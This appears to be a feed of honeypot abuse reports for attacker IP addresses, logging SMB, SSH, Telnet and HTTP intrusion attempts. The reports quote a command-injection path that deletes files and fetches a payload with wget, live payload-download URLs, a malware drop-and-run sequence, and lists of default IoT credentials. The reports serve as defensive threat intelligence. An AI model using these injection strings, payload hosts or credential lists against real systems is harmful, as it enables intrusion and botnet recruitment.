🇷🇸
89.216.39.30
3 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SMB
A remote host brute-force ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SMB
A remote host brute-forced our emulated SMB service, then obtained shell access and executed commands.
Observed: 2026-11-04 06:09 to 2026-11-04 06:28 UTC | 3,116 sessions | 15,571 events | SMB (port 445)
Attack chain:
1. 3,112 credential attempts: administrator/
2. Shell access obtained; 2 distinct commands executed: SMB1 NEGOTIATE (3 dialects) ; SMB2 NEGOTIATE (3 dialects)
Signatures: Legacy SMB1 Dialect Negotiation
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/89.216.39.30.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
Brute-Force
🇵🇰
101.53.235.251
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via HTTP
An automated exploitation tool attemp ...
show more
[Honeypot Report] Vulnerability exploitation attempt via HTTP
An automated exploitation tool attempted to exploit CVE-2016-6277.
Observed: 2026-11-04 11:05 UTC | 1 session | 3 events | HTTP (port 8443)
Attack chain:
1. Exploit attempt: CVE-2016-6277
2. Requested 1 distinct path, including: /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://1...
Classification: scanner | Signatures: Netgear DGN CGI Command Injection
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/101.53.235.251.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Web App Attack
Port Scan
🇹🇲
119.235.125.3
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempt ...
show more
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands.
Observed: 2026-11-04 09:43 UTC | 3 sessions | 14 events | SMB (port 445)
Attack chain:
1. Exploit attempt: CVE-2017-0144
2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects)
Classification: scanner | Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/119.235.125.3.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Port Scan
🇹🇷
78.180.25.134
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempt ...
show more
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands.
Observed: 2026-11-04 09:32 UTC | 3 sessions | 14 events | SMB (port 445)
Attack chain:
1. Exploit attempt: CVE-2017-0144
2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects)
Classification: scanner | Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/78.180.25.134.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Port Scan
🇦🇷
200.16.128.19
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempt ...
show more
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands.
Observed: 2026-11-04 09:17 UTC | 3 sessions | 14 events | SMB (port 445)
Attack chain:
1. Exploit attempt: CVE-2017-0144
2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects)
Classification: scanner | Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/200.16.128.19.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Port Scan
🇸🇦
176.44.203.155
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempt ...
show more
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands.
Observed: 2026-11-04 09:11 UTC | 3 sessions | 14 events | SMB (port 445)
Attack chain:
1. Exploit attempt: CVE-2017-0144
2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects)
Classification: scanner | Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/176.44.203.155.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Port Scan
🇳🇱
192.42.116.17
3 hours ago
[Honeypot Report] Malware dropped following SSH intrusion
An automated malware loader attempted mul ...
show more
[Honeypot Report] Malware dropped following SSH intrusion
An automated malware loader attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands, and finally delivered an executable payload.
Observed: 2026-11-04 09:29 UTC | 1 session | 17 events | SSH (port 22)
Attack chain:
1. 2 credential attempts: usuario/, usuario/1234
2. Shell access obtained; 4 distinct commands executed: LC_ALL=C rm -f ~/1h9bv7nsir0svmei5ky7ql9m4n ; scp -t ~/1h9bv7nsir0svmei5ky7ql9m4n ; LC_ALL=C ~/1h9bv7nsir0svmei5ky7ql9m4n
3. Malware dropped: SHA-256 e374a7ad447d2cf791ecae122894a51ba723901ea132e7fa16cd47c44e4a1769, 512 bytes, ELF 64-bit executable (Linux/Unix)
Classification: malware loader
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/192.42.116.17.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
SSH
Brute-Force
🇿🇦
105.186.142.192
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempt ...
show more
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands.
Observed: 2026-11-04 06:11 to 2026-11-04 06:12 UTC | 4 sessions | 16 events | SMB (port 445)
Attack chain:
1. Exploit attempt: CVE-2017-0144
2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects)
Classification: scanner | Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/105.186.142.192.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Port Scan
🇮🇩
36.77.181.32
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempt ...
show more
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands.
Observed: 2026-11-04 07:19 to 2026-11-04 07:20 UTC | 4 sessions | 16 events | SMB (port 445)
Attack chain:
1. Exploit attempt: CVE-2017-0144
2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects)
Classification: scanner | Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/36.77.181.32.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Port Scan
🇷🇺
217.23.191.122
3 hours ago
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempt ...
show more
[Honeypot Report] Vulnerability exploitation attempt via SMB
An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands.
Observed: 2026-11-04 11:31 to 2026-11-04 11:33 UTC | 4 sessions | 16 events | SMB (port 445)
Attack chain:
1. Exploit attempt: CVE-2017-0144
2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects)
Classification: scanner | Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/217.23.191.122.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
Port Scan
🇵🇰
103.162.40.32
3 hours ago
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader ...
show more
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DVR / IP camera (OEM default), GPON/ONT fibre terminal.
Observed: 2026-11-04 10:23 to 2026-11-04 12:01 UTC | 14 sessions | 198 events | Telnet (port 23)
Attack chain:
1. 14 credential attempts: root/12341234, admin1/password, root/xc3511, gpon/gpon, root/jvbzd (+7 more pairs)
2. Shell access obtained; 11 distinct commands executed: start ; enable ; config terminal
3. Payload retrieval attempted from: http://115.59.38.160:47996/i
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/103.162.40.32.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
IoT Targeted
Brute-Force
🇵🇰
175.107.0.236
3 hours ago
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader ...
show more
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match GPON/ONT fibre terminal, ZTE CPE.
Observed: 2026-11-04 06:01 to 2026-11-04 06:53 UTC | 321 sessions | 5,109 events | Telnet (port 23)
Attack chain:
1. 320 credential attempts: root/666666, telecomadmin/nE7jA%5m, root/12341234, support/support, admin/epicrouter (+35 more pairs)
2. Shell access obtained; 12 distinct commands executed: start ; enable ; config terminal
3. Payload retrieval attempted from: http://123.5.130.150:50241/i, http://175.107.0.236:57112/i
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/175.107.0.236.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
IoT Targeted
Brute-Force
🇨🇳
119.165.7.180
3 hours ago
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader ...
show more
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DVR / IP camera (OEM default), ISP-branded DSL gateway.
Observed: 2026-11-04 09:26 to 2026-11-04 12:03 UTC | 75 sessions | 1,168 events | Telnet (port 23)
Attack chain:
1. 74 credential attempts: admin/bayandsl, admin/v2mprt, CMCCAdmin/CMCCAdmin, Admin/Admin, root/888888 (+26 more pairs)
2. Shell access obtained; 12 distinct commands executed: start ; enable ; config terminal
3. Payload retrieval attempted from: http://120.28.70.180:36239/i, http://120.28.70.180:36239/bin.sh
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/119.165.7.180.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
IoT Targeted
Brute-Force
🇮🇳
103.192.67.196
3 hours ago
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader ...
show more
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DVR / IP camera (OEM default), GPON/ONT fibre terminal.
Observed: 2026-11-04 10:02 to 2026-11-04 10:20 UTC | 487 sessions | 7,765 events | Telnet (port 23)
Attack chain:
1. 486 credential attempts: Administrator/admin, root/Pon521, admin/7ujMko0admin, root/root, root/system (+35 more pairs)
2. Shell access obtained; 12 distinct commands executed: start ; enable ; config terminal
3. Payload retrieval attempted from: http://39.80.52.125:37811/i, http://103.192.67.196:39392/i
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/103.192.67.196.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
IoT Targeted
Brute-Force
🇵🇰
72.255.32.5
3 hours ago
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader ...
show more
[Honeypot Report] Attempted malware delivery following Telnet intrusion
An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DrayTek router, GPON/ONT fibre terminal.
Observed: 2026-11-04 06:50 to 2026-11-04 11:22 UTC | 5,411 sessions | 86,520 events | Telnet (port 23)
Attack chain:
1. 5,410 credential attempts: root/Pon521, root/123456, root/ikwb, root/070admin, ubnt/ubnt (+35 more pairs)
2. Shell access obtained; 11 distinct commands executed: start ; enable ; config terminal
3. Payload retrieval attempted from: http://213.64.230.238:3621/i
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/72.255.32.5.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Exploited Host
Hacking
IoT Targeted
Brute-Force
🇨🇳
115.190.245.176
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted t ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted to log in to our emulated SSH service, then obtained shell access and executed commands.
Observed: 2026-10-30 14:31 to 2026-10-30 16:44 UTC | 1 session | 5 events | SSH (port 22)
Attack chain:
1. 1 credential attempt: intel/123
2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/115.190.245.176.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
SSH
Brute-Force
🇨🇳
106.12.4.208
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted t ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted to log in to our emulated SSH service, then obtained shell access and executed commands.
Observed: 2026-10-30 07:07 UTC | 1 session | 5 events | SSH (port 2222)
Attack chain:
1. 1 credential attempt: intel/123
2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/106.12.4.208.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
SSH
Brute-Force
🇨🇳
120.48.53.156
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted m ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands.
Observed: 2026-11-04 01:16 UTC | 2 sessions | 6 events | SSH (port 2222)
Attack chain:
1. 2 credential attempts: root/---fuck_you----, root/123456
2. Shell access obtained; 1 distinct command executed: uname -s -m
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/120.48.53.156.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
SSH
Brute-Force
🇨🇳
106.124.135.239
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted m ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands.
Observed: 2026-11-04 00:13 UTC | 2 sessions | 6 events | SSH (port 2222)
Attack chain:
1. 2 credential attempts: root/------fuck------, root/Test@2022
2. Shell access obtained; 1 distinct command executed: uname -s -m
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/106.124.135.239.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
SSH
Brute-Force
🇨🇳
118.196.103.2
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted m ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands.
Observed: 2026-11-03 14:23 UTC | 2 sessions | 6 events | SSH (port 22)
Attack chain:
1. 2 credential attempts: root/---fuck_you----, root/123456
2. Shell access obtained; 1 distinct command executed: uname -s -m
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/118.196.103.2.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
SSH
Brute-Force
🇭🇰
43.103.4.191
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted m ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands.
Observed: 2026-11-03 04:32 UTC | 2 sessions | 6 events | SSH (port 2222)
Attack chain:
1. 2 credential attempts: root/---fuck_you----, root/123456
2. Shell access obtained; 1 distinct command executed: uname -s -m
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/43.103.4.191.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
SSH
Brute-Force
🇹🇼
34.81.19.39
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via Telnet
An automated malware l ...
show more
[Honeypot Report] Unauthorised shell access and command execution via Telnet
An automated malware loader attempted multiple logins against our emulated Telnet service, then obtained shell access and executed commands.
Observed: 2026-11-04 05:10 to 2026-11-04 05:43 UTC | 5 sessions | 20 events | Telnet (port 23)
Attack chain:
1. 3 credential attempts: root/, root/root
2. Shell access obtained; 2 distinct commands executed: echo SHELL_TEST ; /bin/busybox TEST
Classification: IoT botnet loader | Signatures: Mirai/IoT Botnet Busybox Probe
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/34.81.19.39.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
IoT Targeted
Brute-Force
🇺🇸
73.21.133.161
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted t ...
show more
[Honeypot Report] Unauthorised shell access and command execution via SSH
A remote host attempted to log in to our emulated SSH service, then obtained shell access and executed commands.
Observed: 2026-11-04 04:15 to 2026-11-04 04:17 UTC | 1 session | 13 events | SSH (port 22)
Attack chain:
1. 1 credential attempt: usuario/1234
2. Shell access obtained; 9 distinct commands executed: /ip cloud print ; ifconfig ; uname -a
Signatures: Host Reconnaissance Commands
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/73.21.133.161.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
SSH
Brute-Force
🇺🇸
73.136.221.232
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via ADB
A remote host obtained sh ...
show more
[Honeypot Report] Unauthorised shell access and command execution via ADB
A remote host obtained shell access and executed commands.
Observed: 2026-11-03 23:52 to 2026-11-04 05:01 UTC | 37 sessions | 111 events | ADB (port 5555)
Attack chain:
1. Shell access obtained; 1 distinct command executed: echo hi
Classification: scanner
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/73.136.221.232.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
Port Scan
🇺🇸
66.132.159.101
9 hours ago
[Honeypot Report] Unauthorised shell access and command execution via HTTP and REDIS
A remote host ...
show more
[Honeypot Report] Unauthorised shell access and command execution via HTTP and REDIS
A remote host probed for vulnerable web applications, then obtained shell access and executed commands.
Observed: 2026-11-02 12:52 to 2026-11-04 01:58 UTC | 4 sessions | 15 events | HTTP/REDIS (port 6379, 7547)
Attack chain:
1. Requested 3 distinct paths, including: /login | /favicon.ico
2. Shell access obtained; 4 distinct commands executed: PING ; INFO ; NONEXISTENT
Classification: scanner | Signatures: Automated Scanner User-Agent
Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/66.132.159.101.md
Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised.
show less
Hacking
Web App Attack
Port Scan